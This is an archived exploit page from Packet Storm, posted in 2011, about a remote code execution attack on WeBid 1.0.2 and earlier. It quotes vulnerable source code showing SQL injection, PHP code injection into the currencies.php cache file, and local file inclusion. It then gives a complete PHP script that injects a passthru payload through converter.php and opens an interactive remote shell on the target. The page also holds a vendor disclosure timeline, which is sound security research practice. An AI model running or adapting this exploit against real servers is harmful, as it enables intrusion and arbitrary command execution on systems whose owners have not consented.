exploit the possibilities

WeBid 1.0.2 Remote Code Execution

WeBid 1.0.2 Remote Code Execution
Posted Jul 4, 2011
Authored by EgiX

WeBid versions 1.0.2 and below remote code execution exploit that leverages converter.php.

tags | exploit, remote, php, code execution
MD5 | 83dcdd69a0e237c0c0e11ad606215a01

WeBid 1.0.2 Remote Code Execution

Change Mirror Download
<?php

/*

------------------------------------------------------------
WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit
------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://www.webidsupport.com/


This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.


[-] Vulnerable code to SQL injection in feedback.php:

154. $query = "SELECT title FROM " . $DBPrefix . "auctions WHERE id = " . $_REQUEST['auction_id'] . " LIMIT 1";
155. $res = mysql_query($query);
156. $system->check_mysql($res, $query, __LINE__, __FILE__);
157. $item_title = mysql_result($res, 0, 'title');

Input passed through $_REQUEST['auction_id'] isn't properly sanitised before being used in the SQL query at line 154.

[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in logout.php:

21. if (isset($_COOKIE['WEBID_RM_ID']))
22. {
23. $query = "DELETE FROM " . $DBPrefix . "rememberme WHERE hashkey = '" . $_COOKIE['WEBID_RM_ID'] . "'";
24. $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
25. setcookie('WEBID_RM_ID', '', time() - 3600);
26. }

Input passed through $_COOKIE['WEBID_RM_ID'] isn't properly sanitised before being used in the SQL query at line 23.


[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in user_login.php:

84. if (isset($_COOKIE['WEBID_ONLINE']))
85. {
86. $query = "DELETE from " . $DBPrefix . "online WHERE SESSION = '" . $_COOKIE['WEBID_ONLINE'] . "'";
87. $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
88. }

Input passed through $_COOKIE['WEBID_ONLINE'] isn't properly sanitised before being used in the SQL query at line 86.

[-] Vulnerable code to arbitrary PHP code jnjection (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

61. function buildcache($newaarray)
62. {
63. global $include_path;
64.
65. $output_filename = $include_path . 'currencies.php';
66. $output = "<?php\n";
67. $output.= "\$conversionarray[] = '" . time() . "';\n";
68. $output.= "\$conversionarray[] = array(\n";
69.
70. for ($i = 0; $i < count($newaarray); $i++)
71. {
72. $output .= "\t" . "array('from' => '" . $newaarray[$i]['from'] . "', 'to' => '" . $newaarray[$i]['to'] . "', 'rate' => '" . $newaarray[$i]['rate'] . "')";
73. if ($i < (count($newaarray) - 1))
74. {
75. $output .= ",\n";
76. }
77. else
78. {
79. $output .= "\n";
80. }
81. }
82.
83. $output .= ");\n?>\n";
84.
85. $handle = fopen($output_filename, 'w');
86. fputs($handle, $output);
87. fclose($handle);
88. }

Input passed to buildcache() function through $_POST['from'] or $_POST['to'] isn't properly sanitised before being
written to currencies.php file, this can lead to arbitrary PHP code injection.

[-] Vulnerable code to LFI (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

18. if (isset($_GET['lan']) && !empty($_GET['lan']))
19. {
20. if ($user->logged_in)
21. {
22. $query = "UPDATE " . $DBPrefix . "users SET language = '" . mysql_real_escape_string($_GET['lan']) . "' WHERE id = " . $user->user_data['id'];
23. }
24. else
25. {
26. // Set language cookie
27. setcookie('USERLANGUAGE', $_GET['lan'], time() + 31536000, '/');
28. }
29. $language = $_GET['lan'];
30. }
31. elseif ($user->logged_in)
32. {
33. $language = $user->user_data['language'];
34. }
35. elseif (isset($_COOKIE['USERLANGUAGE']))
36. {
37. $language = $_COOKIE['USERLANGUAGE'];
38. }
39. else
40. {
41. $language = $system->SETTINGS['defaultlanguage'];
42. }
43.
44. if (!isset($language) || empty($language)) $language = $system->SETTINGS['defaultlanguage'];
45.
46. include $main_path . 'language/' . $language . '/messages.inc.php';

Input passed through $_GET['lan'] or $_COOKIE['USERLANGUAGE'] parameter isn't properly sanitised before

being used to include files on line 46. This can be exploited to include arbitrary local files.

[-] Information leak vulnerability into /logs directory, cause anyone can read cron.log and error.log


[-] Disclosure timeline:

[19/06/2011] - Vulnerabilities discovered
[19/06/2011] - Vendor contacted
[20/06/2011] - Vendor contacted again
[21/06/2011] - No response from vendor
[21/06/2011] - Issue reported to http://sourceforge.net/apps/mantisbt/simpleauction/view.php?id=34
[22/06/2011] - Issue reported to http://www.webidsupport.com/forums/project.php?do=issuelist&projectid=1
[22/06/2011] - Vendor responsed and released patches: http://www.webidsupport.com/forums/showthread.php?3892
[04/07/2011] - Public disclosure

*/

error_reporting(E_ERROR);
set_time_limit(0);

if (!extension_loaded("curl")) die("cURL extension required\n");

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

function http_post($page, $data)
{
global $ch, $url;

curl_setopt($ch, CURLOPT_URL, $url.$page);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

return curl_exec($ch);
}

print "\n+----------------------------------------------------------------------+";
print "\n| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";

if ($argc < 2)
{
print "\nUsage......: php $argv[0] <url>\n";
print "\nExample....: php $argv[0] https://localhost/";
print "\nExample....: php $argv[0] http://localhost/webid/\n";
die();
}

$url = $argv[1];

$code = rawurlencode("\0'));print('_code_');passthru(base64_decode(\$_POST['c'])//");
http_post("converter.php", "action=convert&from=USD&to={$code}");

while(1)
{
print "\nwebid-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_post("includes/currencies.php", "c=".base64_encode($cmd)), $m) ? print $m[1] : die("\n[-] Exploit failed\n");
}
?>


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    19 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close